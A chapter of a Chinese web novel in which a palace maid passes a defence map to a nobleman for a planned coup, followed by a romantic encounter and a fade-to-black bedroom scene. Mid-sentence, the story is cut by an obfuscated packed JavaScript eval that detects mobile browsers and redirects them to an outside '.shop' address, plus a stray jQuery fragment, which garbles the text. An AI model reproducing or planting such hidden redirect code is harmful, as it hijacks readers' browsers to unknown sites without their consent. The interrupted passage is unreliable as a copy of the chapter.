文趣网 > 其他小说 > 清欢误 > 52. 一鱼两吃if线8
    其实柔筠本就是希望将她手中的这股力量交托与裴家的。

    从将众人联络起来时她便明白,他们是一股不可小觑的力量,却没办法只靠着他们的力量成事,因为名不正言不顺。

    他们可以弑君,但他们之中无人有资格坐上那个位置。若是这个国家没有贤明的君主接手,天下必将有一场大乱,伤及无辜,那也不是他们想要看到的。

    所幸有裴家在。

    这并非柔筠基于情感的草率决定,而是多方衡量之下,出于理智的选择。

    她相信倘若事成,他们会是贤明的君主。

    如今机时机终于到来。

    柔筠从床下深处的密匣中取出了皇宫的布防图,打开确认一遍后,叠起放入衣襟。

    那日她与裴瑀约在府中花园的某个避人的假山处相见。

    今夜飘了些细微的雨丝,未免惹人注目,柔筠并未撑伞,然而手中的布防图是炭灰混了米汤写的,字迹遇水即化,为防淋湿,她特意带了一块布巾。

    此刻布防图在裴瑀手中摊开,柔筠便将布巾打开,抬起手撑开在图的上方。

    因事隐秘,二人本就站得近,此时她为了遮雨,又站得近些,手中新洗布巾的皂角香混着她身上淡淡的馨香,和着雨丝的水汽迎面而来,叫裴瑀的呼吸微窒了窒。

    “这图添添补补了许多年,如今也算是极尽详细,想必能派上些用场,世子看看,可有何处不明吗?”

    事出权宜,生怕图会淋湿,柔筠的注意力皆在面前的布防图上,没有注意到裴瑀略显晦暗的目光。

    她的声音清清柔柔,滑在裴瑀心上,渐渐与从前那个他遥望许久的背影重叠,让他一时出神。

    “世子?”柔筠没听见他出声,疑惑偏头,目光一转却撞进了他幽深的双眸中。

    她的心猛地跳了一下,不知是紧张还是心动,又猝然将目光转开。

    裴瑀也瞬间回神,意识到了自己行为的不妥,眼神仓促避开,将目光落回了面前的布防图上。

    这图的确画得极细,宫门几时换钥,禁卫巡值的路线,几处宫墙有砖石松动的暗口,甚至连御膳房几时送菜,哪几个小太监是夜里负责给各宫送夜宵的,都标得清清楚楚。

    “这线……你埋了多久?”裴瑀开口,声音微哑。

    “从奴婢母亲走后第三年起,便开始了。”柔筠轻声道,“起初只有一个冷宫的老嬷嬷,她替奴婢母亲收过尸。后来人便一个一个多起来,有些是奴婢主动联系,也有一些是自己找上来的。”

    短短几句话的背后,埋着多少隐忍和血泪。

    裴瑀沉默,没再说什么,只把图细细折起来,收入怀中。

    柔筠往后退了半步,大约是觉得布防图已交完,该走了。

    “等等。”裴瑀叫住了她。

    柔筠站住。

    雨丝薄薄地落下。

    裴瑀犹豫了一息,问出口的声音还算平稳:“有件事,我一直没想明白。”

    柔筠抬起圆润的眸子看向他,带着几分疑惑。

    “二公主……”裴瑀顿了一下,目光移到一旁假山嶙峋的石上,似乎在斟酌措辞,“她每次夜里都必要将屋中灯火尽数熄灭,一丝光都不留,连帐外那盏小灯都要灭掉。”

    瞬间意识到裴瑀或许想问什么,柔筠眼睫一颤,手指在袖中微微蜷缩。

    “我原先想的是,大约是厌恶与我成婚至深,便不愿瞧见我。”裴瑀的语气没什么波澜,眉头却是微微蹙起,“但后来我留意过,除了熄了灯,屋内窗扇也关得严,如此公主还是要将幔帐放三重,床枕也要靠内放置,每件事情严丝合缝到,不像是不愿看我,倒像是怕有什么东西被看到似的。”

    他转过头来重新看向柔筠,眼神里有一丝极淡的思索,“你日日在公主近旁伺候,可知道缘故吗?”

    柔筠觉得自己耳根那一小片皮肤在发烫。

    她知道。她自然知道。

    那些灯是她一盏一盏吹灭的,幔帐也是她一层一层放下来的,自然知道是为了什么。

    可要她如何说。

    柔筠张了张嘴,舌尖抵着上颚,脖颈泛起热意,却愣是一个字都挤不出来。

    她看到裴瑀还在看着她,目光里没有逼迫,只是安静地等,其实或许只是要一个回应,而未必是真相。

    可她越是明白如此,就越觉得那些话堵在喉咙里,沉得发慌。

    她可以编个谎言搪塞,可又不想再欺骗他。

    “公主她……”柔筠开口,声音比她自己预想的要哑,垂下的目光闪烁,期期艾艾,“嗯……”

    裴瑀本是诚心询问,然而等了一会儿,见柔筠迟迟说不下去,又瞥见她面上忽然涌起的薄红,忽然反应过来什么。

    他那双素来清淡地眉眼微微滞了一下,匆忙偏开头。

    “抱歉。”裴瑀目光再次从她脸上移开,声音一哑,“是我冒昧了。”

    柔筠的心还提在胸口,却明白他或许是误会了。他或许是以为她作为一个未出阁的姑娘,听他问及同房之事,羞赧难以启齿。

    这误会恰好在最尴尬的地方替她兜了底,她却没法解释。

    裴瑀已经偏过身去,将手背到身后的动作有些许不自然。他的耳尖也泛着一层薄红,极浅,但柔筠看见了。

    他也有些尴尬。

    柔筠忽然觉得嗓子眼那股气松了下来,混杂着一点说不清道不明的热气。她飞快地眨了眨眼,对着他行了一礼:“世子若无旁的事,奴婢便先回去了,出来太久恐引人留意。”

    裴瑀没回头,刚低低“嗯”了一声,便听到不远处的假山之外传来了一阵急匆匆的脚步声,似是有人经过。

    他刚要告知柔筠躲避,下一瞬却见面前原本转身准备离开的姑娘已猛地向他的方向一退,猝不及防之下刚好撞在他身前,后背几乎贴上他的胸口,两人之间隔的距离不过半拳。

    裴瑀身体微微一绷,却没有后退——身后便是假山,他退无可退。

    脚步声由远及近。

    柔筠察觉到自己退得太多,却不敢再动,只能僵立在原地。

    裴瑀身上清冽的气味混着雨水的潮意,温温热热地从后罩来,把她整个人笼在里面。

    她呼吸放慢,也不敢动,只能听见自己的心跳撞在胸腔上,一下比一下重。

    裴瑀也没有动。

    他垂着眼,目光落在她的发顶。

    她今日还是簪的那根银簪,簪尾朝下,在有些灰蒙的天色下泛出银润的光泽。

    轻薄的雨丝落在她的发间,那一头乌黑的青丝仿若拢在雾中。她身上有被

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945228|208837||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    浓烈栀子花沾染的落香,离得近了,却又透出另一种浅淡的香气。

    这个味道……

    裴瑀微微蹙了一下眉。他似乎是闻过的,在什么他记不真切的地方。

    他想低头多辨一辨,可是这距离过于近了,稍一低头,只怕便会于礼不合。

    耳根隐约升起热度。

    裴瑀不动声色地移开了目光,转而去盯一旁地上未经修剪的杂草丛。

    外面的脚步声很快接近了假山石。

    柔筠的呼吸放得极轻,后背那一小片衣料与他身前的体温似触非触,烫得像要烧起来。

    裴瑀的手在身后紧紧握着拳,指节微微泛白。

    终于,脚步声路过假山,又匆匆渐行渐远,融进雨中渐渐模糊。

    柔筠几乎是立刻往旁边挪了一步。

    这一步挪得太急,绊到地上起伏的土石,让她险些摔跤。

    裴瑀下意识去扶,然而柔筠很快稳住脚步,他伸出的手在空中顿了顿,又缓缓收回。

    柔筠甚至没敢再抬眼看向裴瑀,只是略显局促地再次告了退。

    雨还在下,有渐大的趋势。

    柔筠走进雨里的时候没回头,步子比来时快了许多。

    太近了,近得她都能听见他的呼吸,就那么静静地落在她耳畔,与夜里那么相似。

    雨水拂在她脸上,可她觉得那股从脖颈升上来的热意非但没被压下去,反而一路顺着烧到了脸颊。

    她抬手,拿袖子用力擦了一把脸,试图用雨丝携带的凉意给自己降温。

    而身后的假山旁,裴瑀眼看着柔筠的背影消失在路的尽头,却仍在原地站了许久,直到变大的雨珠清晰地落下,拍在地上发出清脆的声响,他耳尖的热意终于渐渐消了下去。

    裴瑀又想起方才柔筠站在自己身前的时候,那股栀子花和什么混在一处的气息。

    他还是没想起来在哪里闻过。

    许是接触了这么多回,偶尔哪一回刚巧闻到过她身上的气息罢。

    ……

    他原是这样想的。

    只是入了夜后,当裴瑀依二公主相请再次来到正院,俯首在身下人肩侧时,这念头便再次如烟云般,倏地透进了他的脑海。

    原来是二公主身上的香气。

    先前柔筠便曾说过的,二公主常会赏些东西给身边人,她们身上会有相似的味道,倒也不足为奇。

    可意识到这一点后,这样的相似却将裴瑀搅得有些心乱。

    内室一片漆黑,拢了三层的幔帐内,汗液蒸出的热意氤氲,熟悉的馨香暗涌。

    裴瑀原本不过例行公事的心思在浪潮浮涌间恍惚间变了调,融向香气相似的另一端。

    一张清泠的莹莹粉面不受控制地浮现在脑海,在巨浪拍袭的瞬间,令裴瑀初次难以抑制地失了控。

    云消雨歇,漆黑的幔帐中,疲惫的喘。息声起伏交错。

    脑海中热意涌退时,亵渎的赧然感后知后觉向裴瑀席卷而来。

    他呼吸滞住,泛白的指节缓缓握成拳,几乎是以最快的速度一把掀开床幔,连请辞都忘记,便径直抬步离去。

    他此刻的头脑很乱。

    院内带着雨意清凉的空气拂面的瞬间,裴瑀总觉得自己似乎还是漏掉了什么很重要的事。